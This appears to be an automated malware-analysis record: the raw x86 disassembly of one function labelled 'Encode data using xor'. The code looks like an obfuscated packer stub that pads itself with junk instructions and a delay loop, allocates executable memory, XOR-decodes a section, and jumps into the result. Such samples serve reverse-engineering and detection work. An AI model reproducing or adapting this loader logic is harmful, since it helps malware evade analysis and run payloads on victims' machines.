Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xcd17ca31
mov eax, 0x161520dd
mov ebx, 0xe3c8d33
not eax
popal
add eax, eax
and ebx, ebx
mov eax, 0x8b1eaed4
mov edx, 0
mov ecx, esi
mov ebx, 0x5102022b
or ebx, eax
mov edi, ecx
not eax
mov ebx, eax
mov esi, edi
mov ebx, 0x2dcf0b74
mov eax, ebx
inc edx
dec ebx
or ebx, eax
dec eax
cmp edx, 0x100c93c
jne 0xa789cd
and eax, ebx
and eax, ebx
inc ebx
mov eax, 0xfffa1203
mov ebx, 0xa78796
or eax, eax
mov ecx, eax
mov eax, ecx
mov esi, 0xa7898a
inc edx
or eax, edx
and edx, ecx
mov edi, dword [ebx]
sub eax, edx
or eax, edx
inc ecx
and edi, 0xff
inc edx
sub eax, 0x87649e40
mov ecx, 0x821f51d9
xor dword [esi], edi
add eax, 0x9bca44cf
mov ecx, 0x4319cb08
dec edx
inc esi
not edx
add eax, eax
add ebx, 1
and ecx, ecx
sub eax, edx
inc edx
cmp esi, entry0
jl 0xa78a15
sub eax, 0x914aeae6
mov eax, edx
add eax, 1
dec ecx
add ecx, edx
and esi, esi
mov edi, ebx
add esi, ebx
mov ecx, 0xa7898e
not edx
sub edi, esi
mov ecx, dword [ecx]
mov edx, ebx
inc esi
mov ecx, dword [ecx]
and ebx, esi
add ebx, edi
sub esp, 4
mov dword [esp], ecx
and esi, esi
sub ebx, edi
mov ecx, 0xa7898a
not edx
sub esi, ebx
inc edi
mov ecx, dword [ecx]
not edi
inc edi
add esi, ebx
mov ecx, dword [ecx]
or ebx, edi
and edx, edi
add esi, 0xfc8ce1b0
sub esp, 4
mov dword [esp], 0xa78992
add edx, 0xa523c836
dec edi
inc edx
call ecx
and ebx, edi
mov esi, 0x4554dbf8
sub edi, edx
pop ecx
mov esi, ebx
mov edi, edx
mov edi, ebx
push 0xa7899f
sub edx, edi
mov edx, 0x4a037298
dec esi
push eax
and esi, ebx
dec edi
call ecx
mov ebx, 0x51fdf9ff
add esi, 0xd280fb16
mov edx, 0x19086095
push 0x40
not esi
mov edx, 0x90545fb4
push 0x3000
or edi, esi
or esi, edx
or edi, esi
push 0x200009e0
sub edi, 0x76598ed9
mov ebx, 0xd97bd88c
dec ebx
sub esp, 4
mov dword [esp], 0
sub edi, 0xab14018e
not ebx
mov edi, 0xdb4f968f
call eax
or ebx, edx
inc edx
add eax, 0x20000972
mov edi, 0xa7fb68e4
add edx, 0xb428f1f4
mov ecx, 0x3f2834b9
mov edx, edi
inc edx
mov dword [eax], ecx
add edi, 0xa608792b
or ebx, ebx
mov ecx, dword [eax]
mov ebx, edi
not edx
cmp ecx, 0x3f2834b9
je 0xa78b6d
mov ecx, 0
mov byte [ecx], dl
sub edi, 0xeeb7f3d4
not ebx
mov ebx, esi
sub esi, 0x3a264200
add ebx, ebx
add esi, esi
mov eax, 0xbd643b0a
sub ebx, eax
or ebx, ebx
mov esi, section..reltc
or ebx, eax
mov ebx, eax
or eax, ebx
mov ecx, 0xa78795
mov eax, 0xcc632052
and ebx, eax
mov edi, 0
dec ebx
or eax, ebx
dec eax
mov edx, 0xa78796
sub ebx, 1
mov eax, 0xb9f048c2
lea edx, [edx + edi]
inc ebx
sub eax, ebx
sub ebx, eax
mov edx, dword [edx]
dec eax
mov ebx, eax
and edx, 0xff
not eax
not ebx
inc eax
inc edi
add eax, ebx
or ebx, ebx
cmp edi, 0x1f4
jne 0xa78be4
mov edi, 0
mov ebx, 0x3d70d4c3
add ebx, ebx
sub eax, ebx
sub eax, ebx
xor dword [esi], edx
sub ebx, 0x54a1d864
mov eax, 0x7f5d0466
sub ebx, 0x6ce26abd
add esi, 2
dec ebx
or eax, eax
cmp esi, ecx
jl 0xa78baa
mov ebx, eax
mov ebx, 0xfda807e
add eax, 0x195a979
add eax, 0x4fe969e8
add ebx, ebx
mov ecx, section..reltc
sub esi, edi
not edi
mov ebx, section..reltc
inc esi
mov edi, 0x56e321de
mov edi, esi
mov edx, 0xa78795
add edi, esi
add esi, esi
dec edi
mov eax, 0
not edi
mov esi, 0x7c79c3b9
mov edi, esi
mov al, byte [ebx]
mov edi, esi
and esi, edi
mov edi, esi
mov byte [ecx], al
sub edi, esi
mov esi, 0xcfc5cc4f
add esi, 0x8bca2234
inc ecx
inc esi
dec edi
add ebx, 2
mov esi, edi
not edi
not esi
cmp ebx, edx
jle 0xa78c56
sub edi, 0x4498d805
add esi, 0xee4b5ee0
inc ebx
sub eax, ebx
and ebx, ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
mov eax, ebx
dec eax
ret